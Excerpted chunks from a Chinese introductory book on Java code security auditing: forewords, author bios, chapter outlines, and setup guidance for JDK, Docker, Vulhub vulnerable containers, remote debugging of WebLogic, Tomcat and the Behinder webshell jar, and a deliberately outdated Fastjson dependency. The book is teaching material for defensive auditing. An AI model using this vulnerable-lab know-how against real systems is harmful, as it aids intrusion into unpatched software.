    {"text": "后来随着国家对网络安全的重视，这个市场变得百花齐放，但直到今 天以前，Java 代码审计领域也鲜有可以带领大家入门学习的系统性教材。 很多人因为没有合适的入门代码审计的机会，一直被卡在瓶颈，《Java 代码审计 （入门篇）》的出版，可以帮助他们真正理解 Java 代码审计的方法。 本书从常用工具 使用和 Java EE 的基础知识开始讲起，逐渐深入地带领读者入门 Java 代码审计领域， 学习如何挖掘 Java 应用中的安全漏洞，最后通过一个真实案例来实践和完善知识 体系。 对于 Java 开发人员来说，阅读本书可以增长自己对安全漏洞的认知与了解，且 书中也介绍了漏洞的修复方法，可以避免以后工作中发生同样的错误； 对于安全测 试人员来说，阅读本书可以学习 Java 漏洞挖掘方法，开始积累自己的“漏洞库”，在 安全服务、红蓝对抗、CTF 夺旗赛中获得更优秀的成果；"},
    {"text": "安全社区“代码审计”创始人 phith0n 2020.12.25 推荐序 5 我曾经策划过国内第一档黑客安全栏目—“黑客防线”，后来主编过《黑客 X 档案》和《黑客手册》。 我当时主编的《黑客 X 档案》《黑客手册》，栏目方向涵盖了 “新闻”“安全”“Crack”“编程”“渗透”“小说”“脚本”等，庞杂而多元。"},
    {"text": "现在纸媒杂志已逐渐被网媒取代，在人人皆为媒体的个性表达时代，汲取广泛 的认知从线下转为线上，零碎动态知识的获取在移动互联网时代更加短平快。"},
    {"text": "优质图书仍是 系统化知识学习的重要渠道，因为它是由作者多年的经验和心血凝结而成，是高附 加值产品，除了知识的熏陶，它对读者的择业、就业都会产生深远影响。"},
    {"text": "徐老师邀我为他的新书写序，读完该书部分章节，我觉得，写得很好很全很专 业，做为一名编辑，我懂一本书它为什么好，从行文严谨度、知识点密度、引导铺 垫方式这些维度，我觉得这本书的人机界面是友好的，它具有能把一名读者由浅入 深循循善诱渐引入门的能力。"},
    {"text": "部分土豆进城 “黑客防线”栏目创始人 “黑客 X 档案”“黑客手册”创始人 2021 年 1 月 31 日夜 作者简介 徐焱 徐焱，北京交通大学安全研究员，MS08067 安全实验室创始人，2002 年接触网 络安全，已出版《Web 安全攻防：渗透测试实战指南》《内网安全攻防：渗透测试实 战指南》《Python 安全攻防：渗透测试实战指南》《网络攻防实战研究：漏洞利用与 提权》等图书。"},
    {"text": "陈俊杰 陈俊杰，网名：Chenergy，安全狗海青实验室安全研究工程师，MS08067 核心 成员，主要从事 Java Web 安全、容器安全、主机安全等方面的攻防研究，曾在 FreeBuf、 360 安全客等媒体发表过多篇技术文章。 李柯俊 李柯俊，网名：有关部门临时工，2018 年毕业于天津师范大学，先后就职于启 2 作者简介 明星辰和天融信，现任天融信阿尔法实验室 Web 安全研究员；"},
    {"text": "章宇 章宇，网名：Yu，安全狗海青实验室安全研究工程师，MS08067 核心成员，主 要从事渗透测试、代码审计等方面研究，曾挖掘过多个 CNVD 通用型漏洞和 CVE 漏 洞，并在 FreeBuf、360 安全客等媒体发表过多篇技术文章。 蔡国宝 蔡国宝，网名：panda，90sec Team 核心成员，MS08067 核心成员，T00ls 荣誉 成员，CTF 战队 kn0ck 队员，主要从事代码审计、Web 渗透等方向的安全研究， 曾提交过 CVE、CNVD 漏洞，并在阿里云先知社区等媒体发表过多篇技术文章。"},
    {"text": "最终， 我们决定写一本真正意义上的入门级别的 Java 代码安全审计图书，即面向的人群是 没有安全开发意识或经验的 Java 安全开发人员、没学过 Java 安全的网络安全从业 者以及 Java 代码审计爱好者，所以我们相信这本书对他们一定有所帮助。"},
    {"text": "在“攻”方面，传统的通过扫描器扫描站点或利用 NDay 来渗透的方式已经受 到了很大的制约，现在及未来的典型渗透测试流程是：确定站点指纹→通过旁站扫 描备份或开源程序得到源代码→代码审计→利用审计出来的漏洞制定修订措施，所 以代码审计能力也越发重要。"},
    {"text": "如果企业安全人员具备代码审计的能力，能够提前做好代码审计工作， 在黑客发现系统漏洞之前找出安全隐患，提前部署相应安全防御措施，可落实“安 全左移”，提高应用系统的安全性，从而“治未病”。"},
    {"text": "目前国内外大型企业大 多采用 Java 作为核心的开发语言，因此对于安全从业者来说，Java 代码审计已经成 为了自身应该掌握的关键技能。 但目前市面上并没有关于 Java 代码安全审计方面的 图书，这也是我们撰写本书的出发点，希望能为网络安全行业贡献自己的一份微薄 之力。"},
    {"text": "2 前言 本书是 MS08067 安全实验室推出的继《Web 安全攻防：渗透测试实战指南》 《内 网安全攻防：渗透测试实战指南》《Python 安全攻防：渗透测试实战指南》后又一本 网络安全领域的力作，建议读者联合阅读。"},
    {"text": "（5）设置的案例较为丰富、详实，利于读者掌握较全面的系统知识。 （6）对案例的讲解较为详细，方便读者同步进行实际操作，扎实地掌握知识和 技能。"},
    {"text": "本书结构 在本书编写过程中，遵从的主旨是“通过较详细的漏洞点剖析以及代码审计实 战演示帮助读者朋友初步了解 Java 代码审计，夯实 Java 代码审计的基本功，并迈入 Java 代码审计的大门”。"},
    {"text": "前言 3 本书将理论讲解和实验操作相结合，深入浅出、循序渐进，并通过大量的图文 解说，方便初学者快速掌握 Java 代码安全审计的具体方法和流程，并逐步建立对 Java 代码安全审计的系统性认知。 第 1 章 初识 Java 代码审计 本章简单介绍了 Java 代码安全审计的基本范畴、代码审计的意义、代码审计所 需的基础以及 Java 代码审计的常用思路。 第 2 章 代码审计环境搭建 本章介绍了 Java 代码审计环境的搭建方法，主要包括：JDK 的下载与安装、Docker 的漏洞验证环境搭建、对 Weblogic 和 Tomcat 进行远程调试以及项目构建工具的使用 等基本知识。 第 3 章 代码审计辅助工具简介 本章简单介绍了在代码审计过程中需要用到的工具或平台，包括代码编辑器、 测试工具、反编译工具、Java 代码静态扫描工具以及漏洞信息公开平台。"},
    {"text": "第 4 章 Java EE 基础知识 本章介绍了 Java EE 基础知识，主要包括 Java EE 分层模型、MVC 模式与 MVC 框架的定义、主流 Java MVC 框架简介、Servlet 知识点、filter 知识点、反射机制、 ClassLoader 类加载机制、Java 动态代理和 Java Web 安全开发框架等基础知识。"},
    {"text": "第 5 章 “OWASP Top 10 2017”漏洞的代码审计 本章介绍了“OWASP Top 10 2017”十大 Web 应用程序安全风险列表中的典型 Java 代码审计案例（注入、失效的身份认证、敏感信息泄露、XML 外部实体注入、 失效的访问控制、安全配置错误、跨站脚本攻击、不安全的反序列化、使用含有已 知漏洞组件以及不足的日志记录和监控），这些案例可帮助读者在较短时间内理解并 掌握高频漏洞的代码审计关键问题。 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 本章主要介绍 CSRF 漏洞的原理和实例、SSRF 漏洞的原理和实例、URL 跳转 4 前言 与钓鱼漏洞讲解、文件包含漏洞讲解、文件上传讲解、文件下载讲解、文件写入讲 解、文件解压讲解、Web 后门讲解、逻辑漏洞讲解、CORS/SCP 介绍、拒绝服务攻 击原理和实例、点击劫持漏洞原理和实例、HPP 漏洞介绍等知识点，这些知识点能 够帮助读者了解漏洞的形成原因，理解漏洞的利用方式以及漏洞修复方法。"},
    {"text": "本章主要通过详细的代码审计过程讲解 SSM、Struts2、Spring Boot 等框架的代码审 计技巧，以及 Struts2 远程代码执行漏洞开发框架的错误使用案例。"},
    {"text": "第 8 章 Jspxcms 代码审计实战 实践是检验漏洞挖掘学习效果的最好方式，通过实践审计，能够帮助审计者了 解真实环境中的审计情形，方便审计者体验真实场景。 本章主要通过 Jspxcms 源程序 实例讲解了 SQL 注入、XSS、SSRF 以及 RCE 漏洞的审计过程。"},
    {"text": "关于下一本书 本书作为入门级别的 Java 代码安全审计图书，对于已经有一定基础，但是 Java 代码安全审计能力还需要提升的人群来说，帮助不是很大，他们需要更深层次的内 容。 所以我们有计划编写《Java 代码审计（进阶篇）》，在进阶版中，我们会详细介 前言 5 绍在本书中未加入的诸如 JNDI、RMI、LDAP、Java 反序列化 gadget 链构造方法、 Ysoserial 中的 CC 链以及其他链的分析等内容； 也会拓展由于受篇幅限制，本书中 对一些知识点未做展开介绍，包括：反序列化链、认证鉴权（整合 JWT、Spring Security、 Shiro）、Java 开发框架安全漏洞（如 Struts2）、Java 中间件安全漏洞（如 JBoss）、微 服务架构 Web 应用代码审计等。"},
    {"text": "特别声明 本书仅限于讨论网络安全技术，请勿作非法用途，严禁利用本书所提到的漏洞 和技术进行非法攻击，否则后果自负，本人和出版商不承担任何责任！"},
    {"text": "读者服务 本书的同步公众号为“MS08067 安全实验室”，读者可通过搜索公众号号码 Ms08067_com 或扫描下方二维码添加关注，公众号可提供以下资源。"},
    {"text": "MS08067 安全实验室是一个低调潜心研究技术的团队，衷心感谢团队的所有成 员，包括那些曾经和我们一起战斗过的兄弟姐妹，也欢迎更多的志同道合的小伙伴 加入我们！"},
    {"text": "Carpe Diem! 陈俊杰 2020 年 12 月于厦门 前言 7 首先感谢我的父母和家人们，感谢他们为我提供了一个可以全心投入工作和学 习中，而没有后顾之忧的一个家庭环境。"},
    {"text": "李柯俊 2020 年 12 月于北京 感谢安全狗海青实验室的每一位同事，曾给予了我许多的帮助，感谢安全狗提 供了我成长的平台和资源，这让我得到了不少锻炼。"},
    {"text": "章宇 2020 年 12 月于福州 首先感谢我的家人对我的支持和鼓励，感谢我的老师们对我的指导和关怀，其 次感谢带我迈入安全圈的 Lyon 前辈以及在我初入安全圈给我很多帮助的 xiaochu 师 傅，是他们给了我正确的方向，让我深深热爱上这个行业。"},
    {"text": "最后感谢所有帮助过我 的人（包括但不仅限于郑伟、胡湘君、一木、振宇、秀清、唐彧、王秀友、韩天鹏、 周静、孙刚等人），是你们让我披荆斩棘，勇往直前。"},
    {"text": "当您发现错误时，请登录异步社区，按书 名搜索，进入本书页面，单击“提交勘误”，输 入勘误信息，单击“提交”按钮即可。 本书的 作者和编辑会对您提交的勘误进行审核，确认 并接受后，您将获赠异步社区的 100 积分。"},
    {"text": "如果您有兴趣出版图书、录制教学视频，或者参与图书翻译、技术审校等工作，可以 发邮件给我们。 如果您所在的学校、培训机构或企业，想批量购买本书或异步社区出版的其他图书， 也可以发邮件给我们。"},
    {"text": "如果您在网上发现有针对异步社区出品图书的各种形式的盗版行为，包括对图书全部 或部分内容的非授权传播，请您将怀疑有侵权行为的链接发邮件给我们。"},
    {"text": "关于异步社区和异步图书 “异步社区”是人民邮电出版社旗下 IT 专业图书社区，致力于出版精品 IT 技术图书和 相关学习产品，为作译者提供优质出版服务。 异步社区创办于 2015 年 8 月，提供大量精品 IT 技术图书和电子书，以及高品质技术文章和视频课程。"},
    {"text": "“异步图书”是由异步社区编辑团队策划出版的精品 IT 专业图书的品牌，依托于人民 邮电出版社近 30 年的计算机图书出版积累和专业编辑团队，相关图书在封面上印有异步图 书的 LOGO。 异步图书的出版领域包括软件开发、大数据、AI、测试、前端、网络技术等。"},
    {"text": "在实践过程中，可通过人工审查或者自动化工具的方式，对程序 源代码进行检查和分析，发现这些源代码缺陷引发的安全漏洞，并提供代码修订措 施和建议。"},
    {"text": "在本书中，我们的代码审计语言是 Java，主要审计对象是利用 Java 开发的网站 中的安全漏洞。 本书通过理论知识联系实际案例，帮助读者掌握 Java 代码审计的基本方法，厘 清漏洞挖掘思路。"},
    {"text": "1.1 代码审计的意义 2020 年 10 月的 CNVD 安全月报显示，Web 应用程序的漏洞占比 34%，显而易 见，Web 应用程序仍然是安全防御的重中之重，因此对业务代码进行安全审计是十 分重要的，如图 1-1 所示。 2 第 1 章 初识 Java 代码审计 图 1-1 Web 应用程序漏洞影响重大 随着 Java Web 应用越来越广泛，安全审计已经成为安全测试人员需要直面的工 作。"},
    {"text": "在“攻”方面，如果渗透测试人员、漏 洞研究人员不了解代码审计，则在渗透测试的实战过程中难以“细致入微”，可能遇 到的麻烦包括但不限于以下几种。"},
    {"text": "举例说明，以往的通过扫描器扫描站点或利用 NDay 进行渗透测试的方式已经受 到了很大的制约，现在及未来比较典型的渗透测试流程是：确定站点指纹→通过旁 站扫描备份或开源程序得到源代码→代码审计→利用审计出来的漏洞。"},
    {"text": "在工作中发现，即使对于有着雄厚的研发能力、完备的安全合规要求以及 明确的人员分工的 IT 巨头，其应用系统的源码也可能存在“阿喀琉斯之踵”般的致 命弱点；"},
    {"text": "而小型单位则经常有着“重业务，轻安全”或者“对 Web 安全漏洞了解得 1.2 Java 代码审计所需的基础能力 3 不全面、深入”的通病（这在注入、越权、反序列化、应用程序依赖库等漏洞类型 显得较为明显）。"},
    {"text": "如果企业安全人员具备代码审计的能力，就能提前做好代码审计工 作，在黑客发现系统漏洞之前找出安全隐患，提前部署好相应的安全防御措施，落 实“安全左移”，提高应用系统的安全性，从而“治未病”。"},
    {"text": "因而，若在云原生安全建设初期践 行“源代码安全审计”，将安全投资更多地放到开发安全，包括安全编码、供应链（软 件库、开源软件）安全、镜像（仓库）安全等，可起到减少安全投资、增加攻击难 度的效果。"},
    {"text": "基于此， 我们认为从安全人员的角度帮助对 Java 安全经验有所欠缺的研发、测试人员快速地 了解并掌握高频且重要的 Java 代码审计知识、搭建知识技能框架，亦或是帮助已具 备相关经验的人士进行查缺补漏均具有重要意义。"},
    {"text": "（1）接口排查（“正向追踪”）：先找出从外部接口接收的参数，并跟踪其传递过 程，观察是否有参数校验不严的变量传入高危方法中，或者在传递的过程中是否有 代码逻辑漏洞（为了提高排查的全面性，代码审计人员可以向研发人员索要接口清 单）。 （2）危险方法溯源（“逆向追踪”）：检查敏感方法的参数，并查看参数的传递与 处理，判断变量是否可控并且已经过严格的过滤。"},
    {"text": "2.1 JDK 的下载与安装 2.1.1 JDK 的下载 打开 Oracle 官网下载页面，选择 JDK8 版本为 8u251 所对应的操作系统版本进 行下载，如图 2-1 所示。"},
    {"text": "在后续调试漏洞时，如遇到“不安全的反序列化”等问题时， 就需注意细微的版本差异，因为不同的版本可能会导致 PoC 需要进行改动或者无法 利用成功。"},
    {"text": "8 第 2 章 代码审计环境搭建 图 2-5 JDK 安装完成 2.1.3 添加 JDK 到系统环境 在成功安装 JDK 之后，需要将 JDK 添加到系统环境中，具体操作步骤如下。"},
    {"text": "图 2-6 设置环境变量（一） ● 如图 2-7 所示，在系统变量中新建一个名为“JAVA_HOME”的变量，且变量 值 为 刚 才 安 装 JDK 时 所 保 存 的 路 径 ， 此 处 为 “ C:\\Program Files\\Java\\ jdk1.8.0_191”。"},
    {"text": "2.1 JDK 的下载与安装 9 图 2-7 设置 JDK 环境变量 ● 如图 2-8 所示，在系统变量中单击“Path”，再单击“编辑”按钮，在弹出的对 话框中添加变量值“;%JAVA_HOME%\\bin;%Java_HOME%\\jre\\bin”，然后单击 “确定”按钮。 图 2-8 设置环境变量（二） 10 第 2 章 代码审计环境搭建 ● 如图 2-9 所示，在系统变量中新建一个名为“CLASSPATH”的变量，其变量值 为“.;%Java_HOME%\\lib;%JAVA_HOME%\\lib\\tools.jar”，然后单击“确定”按钮。 图 2-9 设置环境变量（三） ● 打开一个命令行终端，分别输入“java -version”和“javac -version”，如果得 到图 2-10 所示的输出，则说明 JDK 安装以及环境变量配置成功。"},
    {"text": "图 2-10 验证 JDK 安装成功 2.2 Docker 容器编排 在漏洞环境搭建的过程中，经常需要使用虚拟化环境进行漏洞环境的搭建及验 证。 本节介绍 Docker 容器的基本使用，以及快速搭建和远程调试的方法，为后续搭 2.2 Docker 容器编排 11 建漏洞环境和调试漏洞打下基础。"},
    {"text": "2.2.1 Docker 基本原理及操作 1．Docker 简介 Docker 是一个开源项目，诞生于 2013 年年初，最初是 dotCloud 公司内部的一个 业余项目，基于 Google 公司推出的 Go 语言实现。"},
    {"text": "得益于 Docker 轻 量、方便等特点，用户可以借助 Docker 来制作漏洞运行环境，以便于后续调试和保 存漏洞特定环境。 著名的漏洞环境集合 Vulhub，就是基于 Docker 和 Docker-compose 来搭建的。 安 全研究员可以极其便利地使用 Docker 生成一个带有特定漏洞的容器进行调试分析， 从而减少在环境配置上的时间消耗，更专注于研究漏洞本身。"},
    {"text": "2．Docker 的下载与安装 Docker 支持多种操作系统，读者可以参照表 2-1 所列出的 Docker 安装地址自行 选取适合操作系统版本的下载与安装方式。 表 2-1 各操作系统的 Docker 安装地址 操作系统 安装网址 macOS https://www.runoob.com/docker/macos-docker-install.html Ubuntu https://www.runoob.com/docker/ubuntu-docker-install.html CentOS https://www.runoob.com/docker/centos-docker-install.html Windows https://www.runoob.com/docker/windows-docker-install.html 在 Win 10 环境中，Docker 的安装过程如下。 在 Docker 的官方网站选择 Docker Desktop 下拉选项中的 Windows 版本进行下 载，如图 2-11 所示。 下载成功后，运行 Docker Desktop Installer.exe，程序会自动加载必要的文件包， 按默认配置单击“Next”按钮即可自动完成安装。"},
    {"text": "在 Docker 安装完成后，运行桌面上的 Docker Desktop，如图 2-12 所示，右键单 击右下角的小鲸鱼图标，选中 Settings，进行一些必要的配置，如图 2-13 所示。"},
    {"text": "读者可根据实际情 况为 Docker 分配合理的镜像存放地址，以及内存大小，如图 2-14 所示，在 Docker Engine 选项卡中将“registry-mirrors”的值设定为“https://hub-mirror.c.163.com/”，然 后单击“Apply & Restart”按钮保存修改并重启 Docker。"},
    {"text": "图 2-12 启动 Docker Desktop 2.2 Docker 容器编排 13 图 2-13 配置 Docker Desktop 设置 图 2-14 配置 Docker Engine 打开一个新的命令行终端，输入 docker run ubuntu echo“helloworld”命令行， 输出内容如图 2-15 所示，则表明 Docker 安装成功。 图 2-15 Docker 安装成功 14 第 2 章 代码审计环境搭建 3．Docker 的基本使用方法 在 Windows 10 中使用 Docker 时，每次都需要运行 Docker Desktop 以保证 Docker 程序能够正常使用。 在 Docker Desktop 程序开启后，则可以使用命令行方式进行镜 像的搜索、拉取、查看等，或者容器的开启与关闭等操作。"},
    {"text": "在删除镜像时，需要先停止以这个镜 像为模板生成的容器，否则即使添加-f 强制删除参数也无法删除镜像。 当容器停止时， 则可以使用-f 强制删除镜像。"},
    {"text": "例如图 2-20 使用 docker run dordoka/tomcat 命令来生成一个 dordoka/tomcat 的 容器。 图 2-20 生成容器 run 指令还可以接受多种参数，比较常用的几个参数见表 2-2。 2.2 Docker 容器编排 17 表 2-2 run 指令常用参数 参数 作用 -p 容器内部端口绑定到指定的主机端口 -P 容器内部端口随机映射到主机的端口 -t 提供终端输入 -i 提供交互 -d 容器在后台运行 例如，我们需要启动一个 Tomcat 的容器，希望可以访问它的 8080 端口，并在 容器启动后在后台默默运行。"},
    {"text": "当容器生成后， 即可使用浏览器访问本地的 8080 端口访问容器的 Tomcat 服务。 值得一提的是，如 下命令中第一个 8080 指的是本机的端口号，而第二个 8080 指的是容器中运行 Tomcat 服务的端口号，如图 2-21 所示。"},
    {"text": "docker run -p 8080:8080 –d dordoka/tomcat 图 2-21 启动 Tomcat 的 Docker 容器 我们也可以在容器生成后，立即获得容器的交互式终端来管理容器内部的配置。"},
    {"text": "值得注意的是在进行容器的相关操作时， 2.2 Docker 容器编排 19 例如停止容器、启动容器、进入容器和删除容器等操作，不需要提供完整的容器编 号，只需填写编号的部分内容，Docker 会自动匹配到相应容器。"},
    {"text": "有时需要进入容器内部安装软件或修改配置等操作，此时可以借助 exec 命令进 行。 准确地说，exec 是用来在运行的容器内部执行命令的，但配合-it 和/bin/bash 参 数，就可以得到一个 bash 的 shell，相当于进入容器内部。"},
    {"text": "如图 2-29 所示，使用 docker cp ./flag.txt 28:/var/命令将物理机的 flag.txt 文件复 制到编号缩写为 28 的容器中 var 目录下，同样使用 docker cp 28:/var/flag2.txt C:\\Users\\ ZHY\\Desktop\\test 将容器中的 flag2.txt 文件复制到物理机桌面上的 test 文件夹中。"},
    {"text": "图 2-29 复制文件进出容器 2.2.2 使用 Vulhub 快速搭建漏洞验证环境 1．Vulhub 简介 Vulhub 是基于 Docker-compose 技术的一款漏洞集成环境，旨在帮助研究人员更 快速地搭建漏洞环境，避免在环境配置上浪费不必要的时间，使漏洞研究更专注于 漏洞本身。 Vulhub 操作简单，即使没有 Docker 知识基础也可以轻松进行环境搭建。"},
    {"text": "借助于 Compose， 22 第 2 章 代码审计环境搭建 用户可以使用 YML 文件来配置应用程序需要的所有服务，然后使用命令从 YML 文件配置中创建并启动所有服务。"},
    {"text": "要启 动相应的漏洞环境时，只需进入相应的文件夹使用 Docker-compose 命令启动即可。 图 2-30 Tomcat 相关漏洞 4．启动漏洞环境 启动漏洞环境十分简单，进入相应的漏洞文件夹中，输入一条命令即可完成。 例如启动一个漏洞编号为 CVE-2017-10271 的漏洞环境，操作步骤如下。"},
    {"text": "如图 2-31 所示，启动命令会根据该文件夹中的 docker-compose.yml 定义将相应 的镜像拉取到本地，并且会自动启动容器以及进行必要的端口映射，如图 2-32 所示。"},
    {"text": "2.2 Docker 容器编排 23 图 2-31 拉取漏洞环境 图 2-32 启动漏洞环境 成功运行容器后，即可通过浏览器访问漏洞环境，进行相应的漏洞验证和研究 工作，如图 2-33 所示。"},
    {"text": "图 2-33 CVE-2017-10271 漏洞环境 24 第 2 章 代码审计环境搭建 2.3 远程调试 IntelliJ IDEA 可以在无源代码的情况下进行远程调试，只需将程序的 class 文件 或 Jar 包添加进项目依赖即可对一些未开源的 Java 程序或大型中间件进行远程调试。 本节将以 Webshell 管理工具冰蝎为例介绍如何对 Jar 包进行远程调试，并以 Vulhub 中的 CVE-2017-10271 和 CVE-2017-12615 漏洞环境为例介绍如何使用 IntelliJ IDEA 配合 Docker 对 Weblogic 和 Tomcat 此类大型中间件进行远程调试。 2.3.1 对 Jar 包进行远程调试 使用 IntelliJ IDEA 创建一个 Java 项目，并创建一个 lib 文件夹将 Jar 包放入。"},
    {"text": "图 2-34 将 lib 文件夹添加进项目依赖 2.3 远程调试 25 如图 2-35 所示，通过右上角的“Add Configurations”，并单击“+”来添加一个 “Remote”。"},
    {"text": "其中 “-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005”将作为运行时的 启动参数。 图 2-35 在 IDEA 中添加一个“Remote” 图 2-36 IDEA 中默认配置远程调试设置 26 第 2 章 代码审计环境搭建 将“-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005”作为启 动参数运行 Jar 包，如图 2-37 所示。"},
    {"text": "java -jar -agentlib:j dwp=transport=dt_socket,server=y,suspend=y,address=5005 Behinder.jar 图 2-37 启动程序时添加参数 单击 IntelliJ IDEA 右上角的 Debug 按钮，即可发现程序在断点处暂停，然后就 可以进行逐步的调试了，如图 2-38 所示。"},
    {"text": "图 2-38 远程调试成功 2.3 远程调试 27 2.3.2 对 Weblogic 进行远程调试 进入/weblogic/CVE-2017-10271 文件夹，修改其中的 docker-compose.yml 文件， 将 8453 端口打开，如图 2-39 所示。 图 2-39 设置远程调试端口 使用 docker-compose 命令 docker-compose up -d 编译镜像并启动容器。"},
    {"text": "图 2-40 编译环境并启动 使用 docker exec -it 3d /bin/bash 命令进入容器，使用 vi 修改文件/root/Oracle/ Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh。"},
    {"text": "ebugFlag=\"true\" export debugFlag 使用 docker restart 命令重启容器，再进入容器，将/root/Oracle/Middleware 文件 夹下的 modules 文件夹和 wlserver_10.3 文件夹使用 zip 命令压缩成 zip 压缩包。"},
    {"text": "Windows 命令行对路径长度有限制，如果直接使用 docker 的 cp 指令，就会在复制一些长文件 28 第 2 章 代码审计环境搭建 名的文件时报错，因此这一步的目的是打包成压缩文件再进行复制，以避免这个问 题的出现。"},
    {"text": "图 2-41 开启 Tomcat 远程调试 图 2-42 复制漏洞环境文件 将该文件移动至一个项目文件中，并使用 IDEA 打开，如图 2-43 所示，选中 w1server_10.3/server/lib 文件和 modules 文件并右键单击，选择“Add as Library…” 添加依赖文件。"},
    {"text": "然后在下拉框中找 到 Remote 选项并单击，进入图 2-45 所示的配置页面，填写端口号为 8453，注意， 需要与第一步在 docker-compose.yml 文件中的填写内容保持一致。"},
    {"text": "2.3 远程调试 29 图 2-43 在 IDEA 中创建项目并添加依赖 图 2-44 配置远程调试（一） 30 第 2 章 代码审计环境搭建 图 2-45 配置远程调试（二） 如图 2-46 所示，在 wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/ WLSServletAdapter.class 的 hadle 方法处设置断点，接着单击右上角的 Debug 按钮（绿 色 小 虫子 图标 ） 运 行 Debug 模 式。 然 后使 用浏 览 器访问 http://127.0.0.1:7001/ wls-wsat/CoordinatorPortType，同时查看 IDEA 是否如图 2-47 所示，程序在断点处停 图 2-46 设置断点 2.3 远程调试 31 止。"},
    {"text": "当程序成功在断点处停止运行时，表示远程调试配置成功，此时就可以像调试 本地程序一样调试 Docker 中的 Weblogic 应用了。 图 2-47 程序在断点处停止 2.3.3 对 Tomcat 进行远程调试 进入 Vulhub 中 CVE-2017-12615 漏洞环境所在的文件夹，如图 2-43 所示，修改 docker-compose.yml 文件，将 5005 端口开启，如图 2-48 所示。 图 2-48 设置远程调试端口 32 第 2 章 代码审计环境搭建 使用 docker-compose up –d 命令快速启动 CVE-2017-12615 漏洞验证环境。"},
    {"text": "图 2-49 编译并启动环境 如图 2-50 所示，进入容器中，并在/usr/local/tomcat/bin/catalina.sh 插入命令 Java_OPTS=\"-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005\"。"},
    {"text": "右键选中 lib 文件夹并选择“Add as Library…”选项添加依赖 文件。 2.3 远程调试 33 将此文件移动至一个项目文件中，并使用 IDEA 打开，如图 2-52 所示，选中 lib 文件并右键单击，选中“Add as Library…”选项添加依赖文件。 图 2-51 创建项目并添加依赖 图 2-52 在 IDEA 中创建项目并添加依赖 如图 2-53 所示，单击 IDEA 右上角的“Add Configurations”，在弹出的选项框里 单击左上角的“+”进行“Add New Configuration”操作。"},
    {"text": "然后下拉找到 Remote 选项 并单击，进入图 2-54 所示的配置页面，填写端口号为 8453，注意，需和第一步在 docker-compose.yml 文件里填写的内容保持一致。"},
    {"text": "如图 2-55 所示，设置断点，单击 IDEA 右上角 Debug 运行（绿色小虫子标志）， 然后使用浏览器访问 http://127.0.0.1:8080，会发现程序已在断点处暂停，这就可以像 调试本地程序一样调试 Docker 中的 Tomcat。"},
    {"text": "34 第 2 章 代码审计环境搭建 图 2-53 进行“Add New Configuration”操作 图 2-54 配置远程调试端口 2.4 项目构建工具 35 图 2-55 程序在断点处暂停 2.3.4 VMware 虚拟机搭建远程调试环境 尽管Vulhub可以方便地搭建一个漏洞环境，但是由于漏洞环境由安全研究者自发 提供，刚披露出的漏洞可能尚未有相应的漏洞环境，此时需要自行搭建漏洞环境。 并非每个安全研究者都具备使用docker-compose.yml编写制作一个复杂的Docker环境 的能力，因此可以使用VMware虚拟机来搭建环境进行远程调试，只需在虚拟机中安 装需被调试的应用（例如Weblogic或Tomcat），再按照前面两节所介绍的步骤修改 相应的配置文件和设定IDEA远程调试参数，即可使用IDEA调试VMware虚拟机中 的程序。"},
    {"text": "1．pom.xml 文件介绍 pom.xml 文件使用 XML 文件结构，该文件用于管理源代码、配置文件、开发者 的信息和角色、问题追踪系统、组织信息、项目授权、项目的 url、项目的依赖关系 等。"},
    {"text": "2．pom.xml 定义依赖关系 pom.xml 文件中的 dependencies 和 dependency 用于定义依赖关系，dependency 通过 groupId、artifactId 以及 version 来定义所依赖的项目。"},
    {"text": "读者可以 在 Maven 仓库中搜索所需组件的配置清单，如图 2-57 所示，搜素 Fastjson 并选择所 需要的版本号即可获取相应的配置清单，将其复制粘贴到项目的 pom.xml 中即可。"},
    {"text": "直接使用默认模板并单击“Next” 按钮，如图 2-59 所示，填写 Name（项目名称）和 Location（项目保存路径）后单击 “Finish”按钮，即可完成项目的创建。"},
    {"text": "图 2-58 创建 Maven 项目 38 第 2 章 代码审计环境搭建 图 2-59 填写 Maven 项目的名称和保存路径 如图 2-60 所示，创建完成的 Maven 项目中包含该 pom.xml 文件。 pom.xml 文件 描述了项目的 Maven 坐标、依赖关系、开发者需要遵循的规则、缺陷管理系统、组 织以及 licenses，还有其他所有的项目相关因素。 对于安全人员来说，可以从 pom.xml 文件中审查当前 Java 应用程序是否使用了存在安全隐患的组件，以及快速搭建特定版 本的漏洞环境。 图 2-60 pom.xml 文件 例如搭建 Fastjson 1.24 之前版本的反序列化漏洞环境时，需要引入版本小于 1.24 的 Fastjson 组件，如前所述使用 Maven 搭建相应的环境，在 pom.xml 文件中填入 Fastjson 的项目通用名称、项目版本等信息，如图 2-61 所示。 然后右键单击 pom.xml 2.4 项目构建工具 39 文件选择“Maven”选项，并单击“Reimport”按钮，即可进行组件的自动获取，如 图 2-62 所示。"},
    {"text": "图 2-61 填入项目名称和版本等信息 图 2-62 自动获取组件 稍后，组件被下载至本地并且加入项目依赖中，就可以在项目代码中使用组件， 如图 2-63 所示。"},
    {"text": "图 2-63 Maven 依赖加载成功 40 第 2 章 代码审计环境搭建 2.4.2 Swagger 特点及使用 在前后端分析和开发中，为了减少与其他团队的沟通成本，通常会构建一份 RESTful API 文档来描述所有的接口信息，但是这种做法有很大的弊端，说明如下。"},
    {"text": "Swagger 是一个开源软件框架，可以帮助开发人员设计、构建、记录和使用 Restful Web 应用，它将代码和文档融为一体，可以较好地解决上述问题，使开发人员将大 部分精力集中于业务处理，而不是处理琐碎的文档。"},
    {"text": "启动项目，通过 http://Path/swagger-ui.html 可以为前端展示相关的 API 文档， 并像使用 Postman 以及 Curl 命令一样，通过 Web 界面进行接口测试，如图 2-64 所示。"},
    {"text": "图 2-64 Swagger 的 API 文档 第 3 章 代码审计辅助工具简介 代码审计过程中或多或少会使用各种辅助工具，选择合适的工具可以起到事半 功倍的效果。"},
